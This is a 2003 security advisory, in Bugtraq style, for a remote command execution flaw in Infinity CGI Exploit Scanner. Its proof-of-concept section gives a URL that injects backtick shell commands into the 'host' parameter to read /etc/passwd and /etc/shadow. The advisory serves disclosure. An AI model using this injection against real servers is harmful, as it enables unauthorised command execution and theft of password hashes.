Infinity CGI Exploit Scanner Remote Command Execution Vulnerability

BID:7913

Info

Infinity CGI Exploit Scanner Remote Command Execution Vulnerability

Bugtraq ID: 7913
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jun 12 2003 12:00AM
Updated: Jun 12 2003 12:00AM
Credit: Discovery of this issue is credited to badpack3t <[email protected]>.
Vulnerable: The Infinity Project Infinity CGI Exploit Scanner 3.11 Beta
Exploit Labs Wood's InfinityScan EZ 3.69
Not Vulnerable:

Discussion

Infinity CGI Exploit Scanner Remote Command Execution Vulnerability

Infinity CGI Exploit Scanner is prone to a remote command execution vulnerability. This is due to insufficient sanitization of input supplied via URI parameters. Exploitation could allow for execution of commands with the privileges of the web server process.

Exploit / POC

Infinity CGI Exploit Scanner Remote Command Execution Vulnerability

The following proof of concept has been provided:

http://www.example.com/cgi-bin/nph-exploitscanget.cgi?host=`cat%20/etc/passwd``
cat%20/etc/shadow`&port=80&errchk=0&idsbypass=0

Solution / Fix

Infinity CGI Exploit Scanner Remote Command Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Infinity CGI Exploit Scanner Remote Command Execution Vulnerability

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